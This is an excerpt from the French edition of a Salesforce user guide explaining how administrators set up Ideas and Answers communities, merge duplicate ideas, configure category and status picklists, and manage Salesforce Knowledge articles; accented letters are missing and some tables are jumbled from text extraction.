Communauts Ides disponibles dans : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition
Communauts Rponses disponibles dans : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou modifier une communaut :

Personnaliser l'application

Pour crer une nouvelle communaut ou modifier les dtails d'une communaut existante :
1. Cliquez sur Configuration Personnalisation Ides Communauts ou sur Configuration Personnalisation
Rponses Communauts.
Les Communauts sont partages par les fonctionnalits Ides et Rponses. Vous pouvez ainsi afficher et crer des
communauts partir des deux emplacements.
2. Cliquez sur Modifier en regard de la communaut que vous souhaitez modifier ou sur Nouveau pour en crer une.
3. Entrez un nom unique pour votre communaut.
Si vous avez plus d'une communaut, celle dont le nom apparat en premier dans l'ordre alphabtique est la communaut
affiche lorsque des utilisateurs accdent pour la premire fois l'onglet Ides. Par exemple, si vous avez une communaut
nomme Jeans et une autre nomme T-shirts, la communaut Jeans est par dfaut celle qui apparat lorsque les utilisateurs
ouvrent pour la premire fois l'onglet Ides.
4. Vous pouvez aussi entrer une description en texte brut. Le langage HTML et les autres langages de balises ne sont pas pris
en charge.
5. Cochez la case Actif afin d'afficher la communaut aux utilisateurs de vos ides et rponses.
Les communauts ne peuvent pas tre supprimes ; par consquent, si vous masquez une communaut, assurez-vous que
l'option Actif n'est pas slectionne.
6. Pour ajouter un groupe d'experts cette communaut, slectionnez un groupe public dans la liste droulante Groupe
d'experts. Pour plus d'informations sur la cration des groupes publics, reportez-vous Cration et modification de
groupes la page 136.
Remarque: Les groupes d'experts sont pris en charge uniquement dans Salesforce CRM Ideas. Les rponses ne
prennent pas en charge cette fonctionnalit.
7. Utilisez la liste droulante Portail pour spcifier dans quel portail vous souhaitez que cette communaut soit affiche. Si
vous souhaitez que cette communaut ne soit affiche que pour les utilisateurs Salesforce.com internes et non pour les
utilisateurs du portail client ni ceux du portail partenaire, slectionnez Ne pas afficher dans le portail.
Pour rendre la communaut visible au public, slectionnez le portail client que vous souhaitez exposer publiquement l'aide
de sites Force.com.
8. Cliquez sur Enregistrer.

Ides

Guide de l'utilisateur | Fusion des ides | 1478

Prsentation de l'expert de communaut

Un expert de communaut est un membre de la communaut qui s'exprime de manire crdible et en tant qu'autorit au nom
de votre entreprise. Lorsqu'un expert de communaut publie un commentaire ou une ide, une icne unique ( ) s'affiche en
regard de son nom afin que les autres membres de la communaut puissent identifier facilement des informations crdibles au
sein de la communaut. L'administrateur Salesforce.com peut dsigner autant d'experts de communaut que ncessaire.
Avant de slectionner un groupe public comme experts de communaut, veuillez noter les points suivants :

Un expert de communaut peut tre un employ de votre entreprise qui est responsable de fournir des rponses officielles
la communaut. Un expert de communaut peut aussi tre une personne extrieure votre entreprise qui est active au
sein de la communaut et qui a une bonne connaissance du sujet.
La seule diffrence entre un expert de communaut et d'autres membres de la communaut est l'icne unique qui s'affiche
en regard du nom de l'expert de communaut. Les experts de communaut ne disposent d'aucune autorisation particulire
en dehors de ce qui est spcifi dans leur profil d'utilisateur.
Les experts de communaut doivent faire partie d'un groupe public et ce groupe public doit tre spcifi dans la liste
droulante Groupe d'experts. Vous pouvez crer un groupe public pour chaque communaut si les experts au sein de
ces communauts sont diffrents.
Si une communaut est affiche dans un portail client ou dans un portail partenaire, vous pouvez utiliser une feuille de
style en cascade (CSS) pour modifier l'icne associe l'expert de communaut. Lors de la cration d'un nouveau portail,
spcifiez votre CSS dans l'en-tte de votre portail et utilisez la classe expertUserBadge afin de rfrencer la nouvelle
image d'arrire-plan de l'expert de communaut. Nous vous recommandons de ne pas utiliser une icne d'expert de
communaut de taille suprieure 16 x 16 pixels. Pour plus d'informations, reportez-vous Cration de portail partenaires
la page 1575 et Activation de la connexion et des paramtres du portail client la page 1293.

Fusion des ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour fusionner plusieurs ides :

Autorisation de modification sur les ides

Prsentation
mesure que le nombre d'utilisateurs contribuant une communaut crot, il arrive souvent que le nombre d'ides en double
augmente. Les ides en double rendent difficile la mesure des commentaires car les votes et les commentaires sont rpartis sur
de nombreuses ides similaires. La meilleure manire de rsoudre ce problme consiste fusionner des ides en double afin
qu'une ide devienne une ide principale d'une ou de plusieurs ides enfants.
Notez les lments suivants propos de la fusion d'ides :

Tous les votes appartenant des ides enfants sont transfrs l'ide principale. Si le mme membre d'une communaut
vote pour deux ides qui sont finalement fusionnes, seul le vote pour l'ide principale est conserv ; celui pour l'ide enfant
est abandonn.
Une fois que vous avez fusionn des ides, elles ne peuvent plus tre spares.
Les utilisateurs peuvent uniquement voter ou faire des commentaires pour une ide principale. Les ides enfants deviennent
accessibles en lecture seule.
Vous ne pouvez pas fusionner des ides de communauts distinctes.

Ides

Guide de l'utilisateur | Conseils relatifs l'utilisation de Salesforce CRM Ideas | 1479

La suppression d'une ide parent supprime automatiquement toutes les ides enfants. Les ides enfants ne peuvent pas
tre supprimes de manire individuelle.
L'ide principale n'hrite pas des valeurs de statut et de catgorie de ses ides enfants.
Lorsqu'une ide est fusionne et devient une ide enfant, l'ide enfant apparat encore sur la page Ides soumises mais sur
aucune autre page de l'Activit rcente d'un membre de la communaut.

Fusion des ides

Pour localiser des ides en double et les fusionner :
1. Dans l'onglet Ides, cliquez sur le titre d'une ide que vous souhaitez fusionner.
2. Sur la page de dtails de l'ide, cliquez sur Chercher les doublons. Salesforce.com recherche toutes les ides au sein de la
communaut et affiche les cinq ides dont les titres correspondent le plus au titre de l'ide actuelle.
3. Si la liste Doublons possibles ne contient aucune ide que vous souhaitiez fusionner, entrez des mots cls dans le champ
Chercher les doublons et cliquez sur Rechercher. Salesforce.com affiche une nouvelle liste d'ides dupliques
possibles.
4. partir de la liste Doublons possibles, slectionnez les ides que vous souhaitez fusionner.
Pour afficher les dtails d'une ide possible en double, cliquez sur le titre de l'ide. Utilisez le bouton Prcdent de votre
navigateur pour revenir aux rsultats de la recherche.
5. Cliquez sur Fusionner avec l'ide en cours.
6. Slectionnez l'ide que vous souhaitez dfinir comme ide principale, puis cliquez sur Fusionner.
7. Cliquez sur OK pour terminer la fusion.

Conseils relatifs l'utilisation de Salesforce CRM Ideas

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet Ides :

Autorisation de lecture sur les ides

Pour afficher et voter pour des ides :

Autorisation de lecture sur les ides

Pour crer des ides et y ajouter des commentaires :

Autorisation de cration sur les ides

Pour modifier des ides et en modifier les commentaires :

Autorisation de modification sur les ides

Pour crer des communauts :

Personnaliser l'application

Tenez compte des informations suivantes lors de la configuration et de l'utilisation de Salesforce CRM Ideas :

Pour surveiller l'activit de Salesforce CRM Ideas, vous pouvez :

-

Crer une rgle de workflow ou un dclencheur bas sur le nombre de commentaires reus par ide. Vous ne pouvez
pas crer une rgle de workflow ou un dclencheur en fonction du nombre total de votes reus par une ide. Vous ne
pouvez pas non plus crer de dclencheur qui insre ou supprime un commentaire lorsque l'objet Ide est mis jour.
Pour plus d'informations, reportez-vous Cration de rgles de workflow la page 726.
Crer un rapport personnalis bas sur le score du vote pour une ide ou le nombre de commentaires. Pour plus
d'informations, reportez-vous Cration d'un rapport personnalis la page 1718

Ides

Guide de l'utilisateur | Dfinition de valeurs de liste de slection pour les champs Catgories et Statut | 1480

Lors de la publication d'une ide ou d'un commentaire, vous pouvez inclure une URL dans la description de l'ide ou le
champ de commentaire, mais vous ne pouvez pas joindre un fichier ni ajouter une note une ide.
Les relations de dtails matres ne sont pas prises en charge.
Salesforce CRM Ideas ne prend pas en charge les tches de workflow, les messages sortants ni les approbations.
Salesforce CRM Ideas ne prend pas en charge les liens personnaliss.
La page de dtails des ides ne contient pas de listes associes.
La fonction d'exportation des donnes archive toutes vos donnes Salesforce CRM Ideas l'exception des ides et des
commentaires supprims.
Vous ne pouvez pas crer des activits et des vnements pour Salesforce CRM Ideas.
Lors de l'utilisation des champs d'Ide standard ou personnalise, notez les lments suivants :
-

Le suivi de l'historique n'est pas pris en charge.

Les dpendances des champs et les champs rcapitulatifs de cumul ne sont pas pris en charge.
Les champs de formule ne sont pas disponibles pour l'objet Communaut.

Dfinition de valeurs de liste de slection pour les champs

Catgories et Statut
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir des valeurs de liste de slection :

Personnaliser l'application

Prsentation
Pour que des membres de la communaut puissent attribuer des catgories une ide ou qu'ils puissent consulter le statut
d'une ide, l'administrateur Salesforce CRM Ideas doit dfinir des valeurs de la liste de slection pour les champs Catgories
et Statut. Ces champs sont disponibles uniquement dans une communaut ides, pas dans une communaut rponses.
Les catgories sont des valeurs dfinies par l'administrateur qui permettent d'organiser des ides en sous-groupes logiques au
sein d'une communaut. La liste droulante Afficher la catgorie de l'onglet Ides permet aux utilisateurs de filtrer les ides
par catgorie et la liste de slection Catgories de la page Publier des ides permet des utilisateurs d'ajouter des catgories
leurs ides.
Le statut d'une ide permet aux membres de la communaut d'en suivre la progression. Par exemple, En rvision, Rvis,
Prochainement, et Actuellement disponible sont des valeurs de statut ordinaires qu'un administrateur peut dfinir et
attribuer des ides. Le statut d'une ide s'affiche en regard du titre de l'ide pour que tous les membres de la communaut
puissent le voir.
Remarque: Si le champ Catgorie est affich (au lieu de Catgories), cela signifie que les membres de votre
communaut ne peuvent attribuer qu'une seule catgorie une ide. Pour les autoriser attribuer plusieurs catgories
une ide, activez le champ Catgories sur la page Configuration Personnalisation Ides Paramtres.
Dfinition des valeurs de liste de slection
Pour dfinir des valeurs de liste de slection pour les champs standard Catgories et Statut:

Ides

Guide de l'utilisateur | Slection de valeurs et de valeurs par dfaut d'une liste de slection pour une communaut | 1481

1. Cliquez sur Configuration Personnalisation Ides Champs.

2. Cliquez sur Modifier en regard du champ standard Catgories ou Statut.
3. Sur la page de modification de la liste de slection, cliquez sur Nouveau pour ajouter de nouvelles valeurs de liste de slection
au champ standard. Vous pouvez aussi modifier, supprimer, rordonner et remplacer des valeurs de liste de slection. Pour
plus d'informations sur ces tches, reportez-vous Mise jour des listes de slection la page 375.
Remarque: Une fois que vous avez ajout des valeurs de liste de slection aux champs Catgories ou Statut,
le champ ncessitera toujours au moins une valeur de liste de slection. Cela signifie que vous pouvez supprimer
des valeurs de liste de slection jusqu' ce qu'il n'en reste qu'une pour le champ.
4.
5.
6.
7.

Ajoutez une ou plusieurs valeurs de liste de slection (une par ligne) dans la zone de texte fournie.
Slectionnez les communauts que vous souhaitez voir inclure les nouvelles valeurs de liste de slection.
Cliquez sur Enregistrer.
Pour spcifier une valeur par dfaut des champs Catgories ou Statut, reportez-vous Slection de valeurs de liste de
slection et de valeurs par dfaut pour une communaut la page 1481.
Remarque: N'utilisez pas le lien Modifier sur la page Champs pour spcifier une valeur par dfaut pour
Catgories ou Statut. Vous ne pouvez spcifier une valeur par dfaut qu' partir de la page Dtails de la
communaut.

8. Afin de pouvoir attribuer un statut des ides et afficher le statut d'une ide des membres de la communaut, cochez la
case Afficher le champ de statut sur la page Configuration Personnalisation Ides Prsentation des
champs.
Une fois que vous avez coch cette case, vous pouvez attribuer un statut toute ide lorsque vous publiez une nouvelle ide
ou lorsque vous modifiez une ide existante. Pour plus d'informations, reportez-vous Publication et modification d'ides
la page 1464.

Slection de valeurs et de valeurs par dfaut d'une liste de

slection pour une communaut
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour ajouter ou supprimer des valeurs de liste de slection
d'une communaut :

Personnaliser l'application

Une fois que vous avez dfini des valeurs de liste de slection pour les champs Catgories et Statut, vous pouvez ajouter
ou supprimer des valeurs de liste de slection partir de ces champs sur une base communautaire et spcifier une valeur par
dfaut. Ceci vous permet de personnaliser les champs Catgories et Statut en fonction de l'objectif unique d'une
communaut. Pour plus d'informations, reportez-vous Dfinition de valeurs de liste de slection pour les champs Catgories
et Statut la page 1480.
Pour ajouter ou supprimer des valeurs de liste de slection partir d'une communaut spcifique :
1. Cliquez sur Configuration Personnalisation Ides Communauts.
2. Cliquez sur le nom de la communaut.

Ides

Guide de l'utilisateur | Activation du champ Catgories | 1482

3. Cliquez sur Modifier en regard du champ Catgories ou Statut.

4. Pour supprimer une valeur de liste de slection, slectionnez-la dans la liste Valeurs slectionnes et cliquez sur Supprimer.
5. Pour ajouter une valeur de liste de slection la communaut, slectionnez-la dans la liste Valeurs disponibles et cliquez
sur Ajouter.
6. Pour spcifier une valeur par dfaut pour le champ, utilisez la liste droulante Valeur par dfaut.
7. Cliquez sur Enregistrer.

Activation du champ Catgories

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser les paramtres de Salesforce CRM Ideas : Personnaliser l'application

Les entreprises utilisant le champ Catgorie peuvent basculer vers le champ de slection multiple Catgories qui permet
aux membres d'une communaut d'associer plus d'une catgorie une ide. Le champ Catgorie ne permet d'associer qu'une
seule catgorie une ide.
ATTENTION: Une fois que vous avez activ le champ Catgories, vous ne pouvez pas le dsactiver. En outre,
l'activation du champ Catgories dsactive automatiquement l'ancien champ Catgorie dans Salesforce.com et
dans l'API.
Lorsque vous activez le champ Catgories, Salesforce.com procde automatiquement aux points suivants :

Vrifie les rgles de workflow, les dclencheurs, les rgles de validation, les champs personnaliss et le code Apex de votre
entreprise et rpertorie toute zone qui rfrence le champ Catgorie. Vous devez corriger ou supprimer manuellement
ces rfrences avant que Salesforce.com ne vous autorise activer le champ Catgories.
Dplace automatiquement toutes les valeurs de liste de slection et de prsentations de recherche de l'ancien champ
Catgorie dans le nouveau champ Catgories.
Vrifie que chaque ide est associe la valeur de liste de slection approprie dans le nouveau champ Catgories.
Rend le nouveau champ Catgories disponible dans Salesforce.com et l'API.

Pour activer le champ Catgories :

1. Cliquez sur Configuration Personnalisation Ides Paramtres.
2. Cliquez sur Activer situ sous le message Catgories en haut de la page. Ce bouton n'est pas affich si votre organisation
a dj activ le champ Catgories.
Salesforce.com recherche dans les rgles de workflow, les dclencheurs, les rgles de validation, les champs personnaliss
et le code Apex de votre entreprise des rfrences au champ Catgorie et rpertorie toutes les zones o cette rfrence
doit tre supprime.
3. Si vous devez supprimer des rfrences au champ Catgorie, cliquez surAnnuler. Une fois que vous avez supprim les
rfrences, essayez d'activer de nouveau le champ Catgories.

Ides

Guide de l'utilisateur | Migration vers l'application Community | 1483

Remarque: Pour les rgles de validation et de workflow, vous devez supprimer la rgle ou corriger la rfrence
la catgorie au sein de la rgle. Il ne suffit pas de dsactiver la rgle. Si vous devez supprimer un champ personnalis
qui rfrence le champ Catgorie, assurez-vous d'effacer le champ aprs l'avoir supprim. Pour plus d'informations,
reportez-vous Gestion des champs personnaliss supprims la page 415.
4. Lisez les informations dans la fentre contextuelle, puis cliquez surActiver. L'activation du nouveau champ par Salesforce.com
peut prendre plusieurs minutes.
5. Corrigez tous les rapports personnaliss qui rfrencent l'ancien champ Catgorie.

Migration vers l'application Community

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour personnaliser les paramtres de Salesforce CRM Ideas : Personnaliser l'application

Si votre organisation a activ Salesforce CRM Ideas avant la version Winter '10, nous recommandons de migrer vers la nouvelle
application Community. L'application Community :

remplace l'application Ideas dans le menu de la sous-application Force.com.

inclut les onglets Ides et Rponses.
Rponses est une fonctionnalit de l'application Community qui permet aux utilisateurs de poster des questions auxquelles
les membres de la communaut peuvent rpondre. Les membres de la communaut notent ensuite l'intrt de chaque
rponse.
Remarque: Les rponses sont disponibles via un programme pilote. Pour plus d'informations sur l'activation de la
fonctionnalit des rponses, contactez salesforce.com.
ATTENTION: Une fois la migration vers l'application Community effectue, vous ne pouvez pas revenir l'ancienne
application Ideas. L'onglet Ides qui contient vos donnes existantes reste disponible dans l'application Community.

Pour migrer vers l'application Community :

1. Cliquez sur Configuration Personnalisation Ides Paramtres.
Le message relatif Community s'affiche en haut de la page Paramtres des ides. Si ce message ne s'affiche pas, l'application
Communit est dj active pour votre organisation.
2. Cliquez sur Activer sous le message relatif Community. Salesforce.com recherche dans votre organisation tout objet
personnalis nomm Community. Si des objets portent ce nom, vous devez les supprimer ou les renommer avant d'activer
la sous-application Community.
3. Cliquez sur Activer lorsque Salesforce.com valide la migration vers l'application Community.

Ides

Guide de l'utilisateur | Personnalisation des champs standard et personnaliss de Salesforce CRM Ideas | 1484

Personnalisation des champs standard et personnaliss

de Salesforce CRM Ideas
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir des valeurs de liste de slection :

Personnaliser l'application

Pour dfinir la scurit du niveau du champ :

Personnaliser l'application

Pour dfinir ou modifier des rgles de validation de champ :

Personnaliser l'application

Pour crer des champs personnaliss Salesforce CRM Ideas : Personnaliser l'application

Les administrateurs peuvent personnaliser les champs standard et personnaliss Salesforce CRM Ideas afin de rpondre aux
exigences spcifiques d'une entreprise:

Dfinition de valeurs de liste de slection pour les champs Catgories et Statut. Pour plus d'informations, reportez-vous
Dfinition de valeurs de liste de slection pour les champs Catgories et Statut la page 1480.
Cliquez sur le nom d'un champ standard ou personnalis pour dfinir la scurit du niveau du champ. Pour plus
d'informations, reportez-vous Configuration de la scurit au niveau du champ la page 182.
Cliquez sur le nom d'un champ personnalis pour dfinir des rgles de validation. Pour plus d'informations, reportez-vous
Dfinition de rgles de validation la page 438.
Crez un champ personnalis pour Salesforce CRM Ideas. Les champs personnaliss apparaissent dans la section Informations
supplmentaires des pages Publication d'ide et Dtails d'ide. Pour plus d'informations, reportez-vous Cration de
champs personnaliss la page 390.

Dfinition de mises en page pour les champs d'ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour dfinir la mise en page d'un champ personnalis
Salesforce CRM Ideas :

Personnaliser l'application

Lorsqu'un champ personnalis est cr pour Salesforce CRM Ideas, ce champ apparat dans la section Informations
supplmentaires au bas des pages Publication d'ides et Dtails d'ide.
Pour amliorer la prsentation de ces pages, vous pouvez spcifier l'ordre dans lequel un champ personnalis apparat dans la
section Informations supplmentaires. Vous pouvez aussi supprimer un champ personnalis de ces pages sans supprimer
dfinitivement le champ du systme.

Ides

Guide de l'utilisateur | Configuration des rapports sur les ides | 1485

Pour dfinir la mise en page d'un champ personnalis Salesforce CRM Ideas :
1. Cliquez sur Configuration Personnalisation Ides Prsentation des champs.
2. Cliquez sur Modifier.
3. Dans la colonne Champs slectionns, slectionnez le champ dplacer et utilisez les flches montante et descendante
pour modifier l'ordre d'apparition du champ dans la liste.
La colonne Champs slectionns prsente l'ordre dans lequel les champs personnaliss apparaissent dans la section
Informations supplmentaires ainsi que dans les pages Publication d'ide et Dtail d'ide.
4. Pour supprimer un champ personnalis, slectionnez-le dans la colonne Champs slectionns et cliquez sur Supprimer.
Le champ est dplac vers la colonne Champs disponibles et n'apparat plus dans les pages Publication d'ide et Dtail
d'ide.
5. Afin de pouvoir attribuer un statut des ides et d'afficher le statut d'une ide pour les membres de la communaut, cochez
la case Afficher le champ de statut.
6. Cliquez sur Enregistrer.

Configuration des rapports sur les ides

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer ou mettre jour les types de rapport personnalis : Grer les types de rapport personnalis

En tant qu'administrateur, vous pouvez crer des types de rapports personnaliss afin que les utilisateurs puissent excuter et
crer des rapports personnaliss sur les ides, les commentaires d'ide et les votes. Les types de rapports personnaliss sont le
seul moyen de rendre les rapports sur les ides disponibles pour les utilisateurs (Salesforce.com ne fournit pas de modle de
rapport sur les ides ou un dossier de rapport standard pour les ides).
Pour crer un dossier de rapports sur les ides pour les utilisateurs :
1. Crez un type de rapport personnalis pour les ides. Pour plus de dtails, reportez-vous Configuration des types de
rapports personnaliss la page 1754.
Si vous crez un type de rapport personnalis qui utilise Ides comme objet principal et Votes comme objet secondaire, les
ides enfants (fusionnes) n'apparaissent pas dans le rapport moins que vous ne slectionnez Les fiches A
peuvent avoir ou non des fiches B associes. Les ides enfants n'ont aucun vote car leurs votes sont
transfrs l'ide principale. Cela signifie que les ides enfants n'apparaissent pas dans un rapport si l'objet Votes est requis.
2. crez un nouveau dossier public pour les rapports sur les ides. Cette tape ncessite l'autorisation de gestion des rapports
publics. Pour plus d'informations, reportez-vous Cration et modification de dossiers la page 576.
3. crez un ou plusieurs nouveaux rapports personnaliss sur les ides l'aide de votre type de rapport personnalis. Attribuez
les rapports au nouveau dossier des rapports sur les ides que vous avez cr. Pour plus d'informations, reportez-vous
Cration d'un rapport personnalis la page 1718.
A la fin de ces tapes, un dossier des rapports sur les ides sera disponible pour les utilisateurs la page d'accueil des rapports.

Utilisation de la base de connaissances Salesforce

Knowledge
Gestion des articles
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, publier, archiver ou supprimer des articles Modifier les articles
:

En tant que responsable ou diteur de base de connaissances, l'onglet Gestion des articles reprsente votre page d'accueil pour
travailler sur les articles tout au long du cycle de publication, depuis la cration, l'attribution aux utilisateurs pour modification,
jusqu' la publication et l'archivage des articles.
L'onglet Gestion des articles affiche par dfaut la vue Mes articles brouillon, qui prsente les articles brouillon qui vous sont
attribus, tris par date d'chance d'attribution.
Cycle de publication d'articles
Les articles progressent travers un cycle de publication, illustr dans le schma ci-dessous :
1. Lors de la cration et de l'enregistrement d'un article, il s'affiche dans les vues Mes articles brouillon et Tous les articles
brouillon. Lorsque vous crez un article, il vous est automatiquement attribu.
2. Les articles brouillon sont attribus des relecteurs et des collaborateurs jusqu' la finalisation du contenu.
3. Les articles termins sont publis et dplacs dans la vue Articles publis, immdiatement ou une date dfinie. Les articles
publis sont affichs pour les agents et les clients dans les canaux suivants : la sous-application interne, le Portail client et
la base de connaissances publique.
4. Les articles publis peuvent tre mis jour. Vous pouvez travailler directement sur l'article publi, en changeant son statut
de publi brouillon, ou sur une copie afin de laisser l'article publi disponible dans les canaux.
5. Lorsqu'ils sont obsoltes, les articles publis sont archivs afin de les retirer des canaux. Comme la publication, la transition
peut tre immdiate ou une date dfinie.
6. Les articles archivs sont supprims ou convertis en brouillons pour initier un nouveau cycle de publication.
Slection des articles afficher
Pour spcifier les articles que vous souhaitez afficherdans la vue de liste, utilisez les options suivantes du menu latral :

Dans la zone Vue, slectionnez Mes articles brouillon, Tous les articles brouillon, Articles publis ou Articles archivs.
Dans le champ Rechercher dans la vue, saisissez un mot-cl ou une phrase pour affiner la vue actuelle. Le champ
Rechercher dans la vue est dsactiv pour les articles archivs.
Dans la zone Filtre, slectionnez une catgorie dans le menu droulant pour filtrer le vue actuelle.

Slection de colonnes
Pour changer les colonnes afficher, cliquez sur Colonnes. Les colonnes suivantes sont disponibles selon la vue :

Utilisation de la base de connaissances Salesforce Knowledge

Colonne

Guide de l'utilisateur | Gestion des articles | 1487

Description

Vue

Tous les votes des

utilisateurs

Notes moyennes attribues par les

Articles publis / archivs
utilisateurs de la sous-application interne
et du Portail client.

Date d'archivage

Date laquelle l'article a t archiv.

Titre de l'article

Cliquez sur afficher l'article la page 1496. Toutes

Attribu

L'utilisateur auquel est attribu un travail Mes articles brouillon / Tous les articles
sur l'article.
brouillon

Dtails d'attribution

Instructions relatives l'attribution.

Date d'chance de
l'attribution

Date laquelle le travail sur l'article doit Mes articles brouillon / Tous les articles
tre termin. Affiche en rouge une fois brouillon
la date passe.

Date de cration

Date laquelle l'article a t rdig.

Votes des clients

Votes moyens des utilisateurs du Portail Articles publis / archivs

client et de la base de connaissances
publique.

Dernire modification par

Dernire personne avoir modifi

l'article.

Date de la dernire
modification

Date laquelle la dernire modification Toutes

a t enregistre.

Les plus consults par tous

les utilisateurs

Vues moyennes des utilisateurs de

Articles publis / archivs
l'onglet Article, du Portail client et de la
base de connaissances publique.

Les plus consults par les

clients

Vues moyennes des utilisateurs du Portail Articles publis / archivs

client et de la base de connaissances
publique.

Type

Le type de l'article, tel que FAQ ou

Description produit, qui dfinit les
informations contenues dans l'article.

Toutes

Date de publication

Date laquelle l'article a t publi.

Articles publis / archivs

Articles archivs

Mes articles brouillon / Tous les articles

brouillon

Mes articles brouillon / Tous les articles

brouillon

Mes articles brouillon / Tous les articles

brouillon

Icnes d'articles
Dans la vue de liste, les icne suivantes indiquent l'tape du cycle de publication dans laquelle se situe l'article :
Icne

Vue

Description

Mes articles brouillon / Tous les articles La date de publication de l'article est
brouillon
planifie.
Articles publis

La date d'archivage de l'article est

planifie.

Utilisation de la base de connaissances Salesforce Knowledge

Icne

Guide de l'utilisateur | Gestion des articles | 1488

Vue

Description

Articles publis

Cet article est verrouill car une copie

brouillon a dj t cre pour mettre
jour ses informations.

Tches de gestion des articles

Pour crer et grer les articles :

Saisissez un terme rechercher ou utilisez le menu droulant de la catgorie pour rechercher un article.
Cliquez sur Nouveau pour crer un article.
Slectionnez un article, puis cliquez sur Publier... pour le rendre visible sous l'onglet Articles, dans la base de connaissances
publique ou dans le Portail client.
Cliquez sur Modifier en regard d'un article pour modifier son contenu ou ses proprits.
Si vous consultez des articles brouillon, slectionnez un article, puis cliquez sur Attribuer.. pour grer son attribution.
Slectionnez un article, puis cliquez sur Supprimer pour envoyer l'article vers la Corbeille.
Slectionnez un article, puis cliquez sur Archiver... pour archiver un article publi.

Voir aussi :
Terminologie utile relative la base de connaissances Salesforce Knowledge
Publication d'articles
Cration et modification des articles
Recherche d'articles
Affichage des articles

Cration et modification des articles

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour crer, modifier, publier, archiver ou supprimer des articles Modifier les articles
:

Cration d'articles
Pour crer un article :
1. Sous l'onglet Gestion des articles, cliquez sur Nouveau.
2. Slectionnez un type d'article, saisissez son titre, puis cliquez sur OK.
3. Modifiez les champs de l'article. Si votre article contient un champ de zone de texte enrichi, vous pouvez ajouter une mise
en forme telle qu'une liste puces, des liens et des images.

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des articles | 1489

ATTENTION: Cliquez frquemment sur Enregistrement rapide pour viter de perdre vos modifications.

4. Dans la zone Catgories, slectionnez les catgories associer votre article :

Cliquez sur Modifier en regard d'un groupe de catgories pour ouvrir la bote de dialogue de slection de catgories.
Dans la liste Catgories disponibles, dveloppez la hirarchie de catgories pour slectionner une catgorie.
Cliquez sur Ajouter pour dplacer une catgorie slectionne vers la liste Catgories slectionnes (jusqu'
huit catgories sont autorises ici).
Remarque: Vous ne pouvez pas ajouter une catgorie et ses catgories enfant la liste Catgories
slectionnes. Lorsque vous ajoutez une catgorie un article :
-

Les catgories enfant de la liste Catgories disponibles ne sont pas disponibles, sauf si vous retirez
le parent de la liste Catgories slectionnes.
Les catgories enfant ne figurent plus dans la liste Catgories slectionnes.

Les utilisateurs peuvent rechercher des articles en slectionnant une catgorie exacte ou en slectionnant une
catgorie parent ou enfant dans la liste droulante de la catgorie.

Cliquez sur OK.

5. Dans la zone Canaux, slectionnez l'emplacement dans lequel votre article est disponible une fois publi :

La sous-application interne. Les utilisateurs Salesforce.com ont accs aux articles, sous l'onglet Articles, selon la visilibit
de leur rle.
Le Portail Client. Les clients ont accs aux articles si l'onglet Articles est disponible dans le portail. Les utilisateurs du
Portail client hritent de la visibilit du rle attribue au responsable du compte.
La base de connaissances publique. Les articles peuvent tre accessibles aux utilisateurs anonymes en crant une base
de connaissances publique l'aide de la sous-application PKB dans Force.com AppExchange. La cration d'une base
de connaissances publique ncessite les Sites Force.com et Visualforce.

6. Cliquez sur Enregistrement rapide pour enregistrer vos modifications et continuer sur cette page. Vous pouvez galement
cliquer sur Enregistrer pour sauvegarder vos modifications, puis accder l'onglet Gestion des articles.
7. Vous pouvez galement :

Crer une attribution pour permettre un utilisateur de modifier ou de rviser un article.

Publier l'article.
Remarque: Lorsque vous crez un article, il vous est automatiquement attribu.

Modification des articles

Pour modifier un article, procdez comme suit :
1. Cliquez sur Modifier sous l'onglet Gestion de articles ou sur Modifier dans la page de dtails d'un article.
2. Si l'article est publi, laissez-le publi pendant que vous travaillez sur une copie brouillon ou retirez sa publication afin de
travailler directement dessus. Lorsque vous avez termin de travailler sur une copie, sa publication remplace la dernire
version publie de l'article. Lorsque vous travaillez sur l'article original, il n'est pas disponible dans les canaux jusqu' sa
nouvelle publication.
3. Modifiez les champs de l'article. Si votre article contient un champ de zone de texte enrichi, vous pouvez ajouter une mise
en forme telle qu'une liste puces, des liens et des images.

Utilisation de la base de connaissances Salesforce Knowledge

Guide de l'utilisateur | Gestion des articles | 1490

ATTENTION: Cliquez frquemment sur Enregistrement rapide pour viter de perdre vos modifications.

4. Dans la zone Catgories, slectionnez les catgories associer votre article :

Cliquez sur Modifier en regard d'un groupe de catgories pour ouvrir la bote de dialogue de slection de catgories.
Dans la liste Catgories disponibles, dveloppez la hirarchie de catgories pour slectionner une catgorie.
Cliquez sur Ajouter pour dplacer une catgorie slectionne vers la liste Catgories slectionnes (jusqu'
huit catgories sont autorises ici).
Remarque: Vous ne pouvez pas ajouter une catgorie et ses catgories enfant la liste Catgories
slectionnes. Lorsque vous ajoutez une catgorie un article :
-

Les catgories enfant de la liste Catgories disponibles ne sont pas disponibles, sauf si vous retirez
le parent de la liste Catgories slectionnes.
Les catgories enfant ne figurent plus dans la liste Catgories slectionnes.

Les utilisateurs peuvent rechercher des articles en slectionnant une catgorie exacte ou en slectionnant une
catgorie parent ou enfant dans la liste droulante de la catgorie.

Cliquez sur OK.

5. Dans la zone Canaux, slectionnez l'emplacement dans lequel votre article est disponible une fois publi :

La sous-application interne. Les utilisateurs Salesforce.com ont accs aux articles, sous l'onglet Articles, selon la visilibit
de leur rle.
